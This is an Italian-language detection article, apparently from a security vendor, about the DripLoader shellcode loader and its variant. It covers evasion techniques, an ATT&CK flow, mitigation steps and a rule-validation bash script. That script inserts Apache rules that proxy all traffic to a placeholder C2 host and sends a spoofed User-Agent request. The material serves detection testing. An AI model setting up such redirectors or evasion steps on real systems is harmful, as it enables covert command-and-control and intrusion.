Malware DripLoader: Esecuzione di Shellcode e Evasione dalla Difesa
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
L’articolo esamina DripLoader, un caricatore di shellcode che alloca memoria, scrive lo shellcode, cambia i permessi della pagina in eseguibile e lo esegue. Copre come il caricatore venga distribuito tramite un reindirizzatore HTTPS supportato dal framework Havoc C2, e come il suo codice possa essere offuscato tramite compressione e chiamate di sistema indirette. Il documento presenta anche una variante aggiornata, DripLoaderNG, che si basa sul sideloading di .node e su tecniche di evasione aggiuntive, insieme a linee guida pratiche per il rilevamento e strumenti di analisi della memoria.
Indagine
L’indagine descrive una configurazione di laboratorio in cui Havoc invia shellcode compresso tramite un reindirizzatore Apache personalizzato. Il caricatore riserva regioni di 64 KB, impegna pagine da 4 KB, modifica i flag di protezione ed esegue il payload. DripLoaderNG introduce chiamate di sistema indirette e il sideloading di moduli .node mirati all’applicazione Slack Electron. Il rilevamento è dimostrato utilizzando strumenti come Moneta, PE-sieve e query KQL di supporto.
Mitigazione
I passaggi di mitigazione includono il monitoraggio dei reindirizzamenti HTTPS sospetti, l’individuazione di stringhe user-agent false, il contrassegno di file .node rari e l’utilizzo delle funzionalità EDR per identificare il comportamento delle chiamate di sistema indirette. Ulteriori raccomandazioni riguardano l’ottimizzazione delle configurazioni Sliver/Donut per ridurre la manomissione AMSI e limitare l’esecuzione di moduli nativi non firmati.
Risposta
Quando viene rilevata un’attività , isolare l’endpoint interessato, interrompere il processo offensivo, acquisire dump della memoria e ispezionare lo shellcode iniettato. Bloccare il dominio o l’IP C2, reimpostare le credenziali esposte e distribuire regole difensive per lo specifico user-agent e gli indicatori di file .node. Seguire con un’analisi forense e aggiornare i contenuti di rilevamento per coprire i modelli osservati di chiamate di sistema indirette.
mermaid graph TB %% Class Definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique Nodes step_initial_access[“<b>Tecnica</b> – <b>T1090 Proxy</b><br /><b>Descrizione</b>: Utilizza reindirizzamenti HTTPS e uno User-Agent falsificato per distribuire payload malevoli e stabilire comunicazioni di comando e controllo sul traffico web.”] class step_initial_access technique step_c2[“<b>Tecnica</b> – <b>T1102.002 Servizio Web: Comunicazione Bidirezionale</b><br /><b>Descrizione</b>: Comunica con l’attaccante tramite servizi web HTTPS, consentendo un controllo bidirezionale.”] class step_c2 technique step_obfusc_compress[“<b>Tecnica</b> – <b>T1027.015 Compressione</b><br /><b>Descrizione</b>: Il payload è compresso con LZMS per nascondere il contenuto all’analisi statica e alle difese basate su firme.”] class step_obfusc_compress technique step_obfusc_compile[“<b>Tecnica</b> – <b>T1027.004 Compilazione Dopo Consegna</b><br /><b>Descrizione</b>: Il payload è compilato dopo la consegna per eludere ulteriormente il rilevamento.”] class step_obfusc_compile technique step_process_injection[“<b>Tecnica</b> – <b>T1055.002 Iniezione di Eseguibili Portabili</b><br /><b>Descrizione</b>: DripLoader alloca memoria virtuale, copia lo shellcode, modifica le protezioni delle pagine e lo esegue all’interno di un processo legittimo.”] class step_process_injection technique step_reflective_loading[“<b>Tecnica</b> – <b>T1620 Caricamento Riflessivo di Codice</b><br /><b>Descrizione</b>: Il caricatore riflette lo shellcode copiato in memoria e lo esegue senza utilizzare il caricatore del sistema operativo.”] class step_reflective_loading technique step_dll_injection[“<b>Tecnica</b> – <b>T1055.001 Iniezione di Librerie a Collegamento Dinamico</b><br /><b>Descrizione</b>: Il modulo .node malevolo (una DLL) è sideloaded nel processo Slack, consentendo l’esecuzione del codice in un’applicazione attendibile.”] class step_dll_injection technique step_persistence[“<b>Tecnica</b> – <b>T1546.009 DLLs di Certificazione Applicazione</b><br /><b>Descrizione</b>: La DLL sideloaded persiste registrandosi come DLL di certificazione applicazione, assicurando l’esecuzione all’avvio del sistema.”] class step_persistence technique step_evasion_cred_api[“<b>Tecnica</b> – <b>T1056.004 Hooking API delle Credenziali</b><br /><b>Descrizione</b>: Utilizza chiamate di sistema indirette per chiamare API Windows native, bypassando i ganci EDR in modalità utente.”] class step_evasion_cred_api technique step_evasion_indicator_removal[“<b>Tecnica</b> – <b>T1027.005 Rimozione di Indicatori dagli Strumenti</b><br /><b>Descrizione</b>: Modifica la configurazione di Sliver/Donut per disattivare il patching AMSI, prevenendo il rilevamento dai motori anti-malware.”] class step_evasion_indicator_removal technique step_evasion_stripped[“<b>Tecnica</b> – <b>T1027.008 Payloads Semplificati</b><br /><b>Descrizione</b>: Rimuove informazioni di debug e metadati dal payload per ridurre i reperti forensi.”] class step_evasion_stripped technique step_masquerade[“<b>Tecnica</b> – <b>T1036.008 Mascherare Tipo di File</b><br /><b>Descrizione</b>: Rinomina il file .node malevolo per farlo apparire come un modulo nativo legittimo, uniformandosi ai file attesi dall’applicazione.”] class step_masquerade technique step_server_component[“<b>Tecnica</b> – <b>T1505.003 Componente Software del Server: Shell Web</b><br /><b>Descrizione</b>: Trasferisce shellcode e binari del caricatore tramite il reindirizzatore web, poi li decomprime ed esegue sul bersaglio.”] class step_server_component technique %% Operator Nodes op_obfusc((“E”)) class op_obfusc operator op_evasion((“E”)) class op_evasion operator %% Connessioni step_initial_access u002du002d>|porta_a| step_c2 step_c2 u002du002d>|porta_a| step_obfusc_compress step_c2 u002du002d>|porta_a| step_obfusc_compile step_obfusc_compress u002du002d>|parte_di| op_obfusc step_obfusc_compile u002du002d>|parte_di| op_obfusc op_obfusc u002du002d>|porta_a| step_process_injection step_process_injection u002du002d>|porta_a| step_reflective_loading step_reflective_loading u002du002d>|porta_a| step_dll_injection step_dll_injection u002du002d>|porta_a| step_persistence step_persistence u002du002d>|porta_a| step_evasion_cred_api step_persistence u002du002d>|porta_a| step_evasion_indicator_removal step_persistence u002du002d>|porta_a| step_evasion_stripped step_evasion_cred_api u002du002d>|parte_di| op_evasion step_evasion_indicator_removal u002du002d>|parte_di| op_evasion step_evasion_stripped u002du002d>|parte_di| op_evasion op_evasion u002du002d>|porta_a| step_masquerade step_masquerade u002du002d>|porta_a| step_server_component
Flusso di Attacco
Rilevamenti
Rilevamento dell’Esecuzione di Shellcode DripLoader e Tattiche di Evasione [Server Web]
Visualizza
IOC (DestinationIP) da rilevare: DripLoader: Uno Studio sulle Esecuzioni ed Evasioni di Shellcode
Visualizza
IOC (SourceIP) da rilevare: DripLoader: Uno Studio sulle Esecuzioni ed Evasioni di Shellcode
Visualizza
File .node non firmato caricato
Visualizza
Esecuzione Simulation
Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.
Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrazione dell’Attacco & Comandi:
Un operatore dell’infrastruttura malevola prepara il server web vittima per fungere da condotto per il server C2. Inseriscono dueRewriteRuledirettive nella configurazione dell’host virtuale di Apache: una che proxy tutto il traffico in entrata ahttps://C2.TeamServer.IP:443([P]flag) e una seconda che reindirizza qualsiasi richiesta a un URL benigno di Google ([L,R=302]). Dopo aver ricaricato Apache, l’attaccante emette una richiesta HTTP creata con esatta stringa User-Agent falsa definita nella regola Sigma. Apache processa la richiesta, registra l’User-Agent e il motore di riscrittura registra l’azione di proxy, soddisfacendo entrambe le condizioni di rilevamento. -
Script di Test di Regressione:
#!/usr/bin/env bash # ------------------------------------------------- # Script di convalida rilevamento DripLoader # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # 1. Backup configurazione corrente sudo cp "$APACHE_CONF" "$BACKUP_CONF" # 2. Inserisci regole di riscrittura dannose sudo bash -c "cat >> $APACHE_CONF <<'EOF' # INIZIO Regole di Test DripLoader RewriteEngine On RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P] RewriteRule ^.*$ "https://www.google.com" [L,R=302] # FINE Regole di Test DripLoader EOF" # 3. Ricarica Apache per applicare le modifiche sudo systemctl reload apache2 # 4. Emissione richiesta dannosa con l'esatta stringa User-Agent fabbricata curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/ Safari/537.366" http://localhost/ echo "Richiesta dannosa inviata. Controlla SIEM per l'avviso di rilevamento." -
Comandi di Pulizia:
#!/usr/bin/env bash # ------------------------------------------------- # Pulizia convalida rilevamento DripLoader # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # Ripristina configurazione originale if [[ -f "$BACKUP_CONF" ]]; then sudo cp "$BACKUP_CONF" "$APACHE_CONF" sudo systemctl reload apache2 echo "Configurazione originale di Apache ripristinata." else echo "Backup non trovato; potrebbe essere necessaria una pulizia manuale." fi